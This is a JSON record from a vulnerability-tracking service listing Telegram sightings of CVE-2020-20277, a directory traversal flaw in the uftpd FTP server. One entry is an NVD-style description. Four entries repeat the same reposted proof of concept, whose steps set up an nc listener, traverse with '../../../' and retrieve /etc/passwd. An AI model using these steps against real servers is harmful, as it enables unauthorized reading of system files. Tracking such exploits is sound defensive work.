{"vulnerability": "CVE-2020-20277", "sightings": [{"uuid": "bca37fac-46d0-4614-8bb4-9d4874d5e8d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-20277", "type": "seen", "source": "https://t.me/cibsecurity/21094", "content": "\u203c CVE-2020-20277 \u203c\n\nThere are multiple unauthenticated directory traversal vulnerabilities in different FTP commands in uftpd FTP server versions 2.7 to 2.10 due to improper implementation of a chroot jail in common.c's compose_abspath function that can be abused to read or write to arbitrary files on the filesystem, leak process memory, or potentially lead to remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-12-18T22:44:14.000000Z"}, {"uuid": "e72f0294-23a6-4666-b271-ef8abed116f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-20277", "type": "seen", "source": "https://t.me/hacking_Attack/64004", "content": "Exploit Collector\nuftpd 2.10 Directory Traversal\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nuftpd versions 2.7 through 2.10 suffer from an authenticated directory traversal vulnerability.\n\nSHA-256 | 49eb3cd8623927e2347974445c0565c0ed3386c36a6f12fc4e148713a5029fd8\n\nDownload\n# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)\n# Google Dork: N/A\n# Exploit Author: Aaron Esau (arinerron)\n# Vendor Homepage: https://github.com/troglobit/uftpd\n# Software Link: https://github.com/troglobit/uftpd\n# Version: 2.7 to 2.10\n# Tested on: Linux\n# CVE : CVE-2020-20277\n# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277\n# Reference: https://arinerron.com/blog/posts/6\n#Product: uftpd 2.7 to 2.10\n\n#Proof-Of-Concept:\n1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. \n\n#Steps\n1-Setup nc listener on attacking machine on TCP port 1258\nnc -lnvp 1258\n\n2-Login to the FTP service\n\n3-List files \nftp> ls ../../../\n\n3-Set attacker's IP address and retrieve files\nPORT 127,0,0,1,1,1002\nRETR ../../../etc/passwd\n\n\nSource:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:32.342896Z"}, {"uuid": "1460fb7f-0856-42f4-b009-36bca93d7774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-20277", "type": "seen", "source": "https://t.me/hacking_Attack/64004", "content": "Exploit Collector\nuftpd 2.10 Directory Traversal\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nuftpd versions 2.7 through 2.10 suffer from an authenticated directory traversal vulnerability.\n\nSHA-256 | 49eb3cd8623927e2347974445c0565c0ed3386c36a6f12fc4e148713a5029fd8\n\nDownload\n# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)\n# Google Dork: N/A\n# Exploit Author: Aaron Esau (arinerron)\n# Vendor Homepage: https://github.com/troglobit/uftpd\n# Software Link: https://github.com/troglobit/uftpd\n# Version: 2.7 to 2.10\n# Tested on: Linux\n# CVE : CVE-2020-20277\n# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277\n# Reference: https://arinerron.com/blog/posts/6\n#Product: uftpd 2.7 to 2.10\n\n#Proof-Of-Concept:\n1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. \n\n#Steps\n1-Setup nc listener on attacking machine on TCP port 1258\nnc -lnvp 1258\n\n2-Login to the FTP service\n\n3-List files \nftp> ls ../../../\n\n3-Set attacker's IP address and retrieve files\nPORT 127,0,0,1,1,1002\nRETR ../../../etc/passwd\n\n\nSource:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:42.744500Z"}, {"uuid": "3a9c83d5-f02c-4f11-a78c-356f651d44e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-20277", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64004", "content": "Exploit Collector\nuftpd 2.10 Directory Traversal\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nuftpd versions 2.7 through 2.10 suffer from an authenticated directory traversal vulnerability.\n\nSHA-256 | 49eb3cd8623927e2347974445c0565c0ed3386c36a6f12fc4e148713a5029fd8\n\nDownload\n# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)\n# Google Dork: N/A\n# Exploit Author: Aaron Esau (arinerron)\n# Vendor Homepage: https://github.com/troglobit/uftpd\n# Software Link: https://github.com/troglobit/uftpd\n# Version: 2.7 to 2.10\n# Tested on: Linux\n# CVE : CVE-2020-20277\n# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277\n# Reference: https://arinerron.com/blog/posts/6\n#Product: uftpd 2.7 to 2.10\n\n#Proof-Of-Concept:\n1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. \n\n#Steps\n1-Setup nc listener on attacking machine on TCP port 1258\nnc -lnvp 1258\n\n2-Login to the FTP service\n\n3-List files \nftp> ls ../../../\n\n3-Set attacker's IP address and retrieve files\nPORT 127,0,0,1,1,1002\nRETR ../../../etc/passwd\n\n\nSource:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T14:00:04.558250Z"}, {"uuid": "59df170b-d1ab-4116-a66b-ff2f39268a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-20277", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64004", "content": "Exploit Collector\nuftpd 2.10 Directory Traversal\n\nhttps://2.bp.blogspot.com/-B3So14l5bG8/WWlvkmPjF3I/AAAAAAAAIQ0/aTmhBdvFPYoCVmoynJbIAB0ZJhP5LcNMQCLcBGAs/s1600/h97.png \nuftpd versions 2.7 through 2.10 suffer from an authenticated directory traversal vulnerability.\n\nSHA-256 | 49eb3cd8623927e2347974445c0565c0ed3386c36a6f12fc4e148713a5029fd8\n\nDownload\n# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated)\n# Google Dork: N/A\n# Exploit Author: Aaron Esau (arinerron)\n# Vendor Homepage: https://github.com/troglobit/uftpd\n# Software Link: https://github.com/troglobit/uftpd\n# Version: 2.7 to 2.10\n# Tested on: Linux\n# CVE : CVE-2020-20277\n# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277\n# Reference: https://arinerron.com/blog/posts/6\n#Product: uftpd 2.7 to 2.10\n\n#Proof-Of-Concept:\n1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. \n\n#Steps\n1-Setup nc listener on attacking machine on TCP port 1258\nnc -lnvp 1258\n\n2-Login to the FTP service\n\n3-List files \nftp> ls ../../../\n\n3-Set attacker's IP address and retrieve files\nPORT 127,0,0,1,1,1002\nRETR ../../../etc/passwd\n\n\nSource:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:45.192889Z"}]}